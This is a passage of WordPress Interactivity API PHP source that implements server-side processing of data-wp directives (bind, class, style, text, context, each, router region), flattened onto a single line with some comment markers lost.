kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /* * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); / * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. / $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /* * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $attribute_value = $p->get_attribute( 'data-wp-context' ); $namespace_value = end( $this->namespace_stack ); // Separates the namespace from the context JSON object. list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); / * If there is a namespace, it adds a new context to the stack merging the * previous context with the new one. / if ( is_string( $namespace_value ) ) { $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() ) ); } else { / * If there is no namespace, it pushes the current context to the stack. * It needs to do so because the function pops out the current context * from the stack whenever it finds a `data-wp-context`'s closing tag. / $this->context_stack[] = end( $this->context_stack ); } } /* * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' ); foreach ( $all_bind_directives as $attribute_name ) { list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $bound_attribute ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( null !== $result && ( false !== $result \|\| ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) ) { / * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 / if ( is_bool( $result ) && ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $bound_attribute, $result ); } else { $p->remove_attribute( $bound_attribute ); } } } } /* * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); foreach ( $all_class_directives as $attribute_name ) { list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $class_name ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /* * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' ); foreach ( $all_style_attributes as $attribute_name ) { list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $style_property ) ) { continue; } $directive_attribute_value = $p->get_attribute( $attribute_name ); $style_property_value = $this->evaluate( $directive_attribute_value ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; / * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. / if ( $style_property_value \|\| $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); / * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. / if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /* * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string\|false\|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. / private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /* * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $attribute_value = $p->get_attribute( 'data-wp-text' ); $result = $this->evaluate( $attribute_value ); / * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. / if ( is_string( $result ) \|\| is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /* * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. / private function get_router_animation_styles(): string { return <<<CSS .wp-interactivity-router-loading-bar { position: fixed; top: 0; left: 0; margin: 0; padding: 0; width: 100vw; max-width: 100vw !important; height: 4px; background-color: #000; opacity: 0 } .wp-interactivity-router-loading-bar.start-animation { animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards } .wp-interactivity-router-loading-bar.finish-animation { animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in } @keyframes wp-interactivity-router-loading-bar-start-animation { 0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 } 100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 } } @keyframes wp-interactivity-router-loading-bar-finish-animation { 0% { opacity: 1 } 50% { opacity: 1 } 100% { opacity: 0 } } CSS; } /* * Deprecated. * * @since 6.5.0 * @deprecated 6.7.0 Use {@see WP_Interactivity_API::print_router_markup} instead. / public function print_router_loading_and_screen_reader_markup() { _deprecated_function( __METHOD__, '6.7.0', 'WP_Interactivity_API::print_router_markup' ); // Call the new method. $this->print_router_markup(); } /* * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 / public function print_router_markup() { echo <<<HTML <div class="wp-interactivity-router-loading-bar" data-wp-interactive="core/router" data-wp-class--start-animation="state.navigation.hasStarted" data-wp-class--finish-animation="state.navigation.hasFinished" ></div> HTML; } /* * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. / private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /* * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. / private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0]; $extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name ); $item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item'; $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); / * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp \|\| empty( $result ) \|\| ! is_array( $result ) \|\| ! array_is_list( $result ) \|\| ! str_starts_with( trim( $inner_content ), '<' ) \|\| ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Extracts the namespace from the directive attribute value. $namespace_value = end( $this->namespace_stack ); list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } // Adds the `data-wp-each-child` to each top-level tag. $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', true ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } } ��

| ver. 1.4 | Github | . | PHP 7.4.33 | Генерация страницы: 2.68 | proxy | phpinfo | Настройка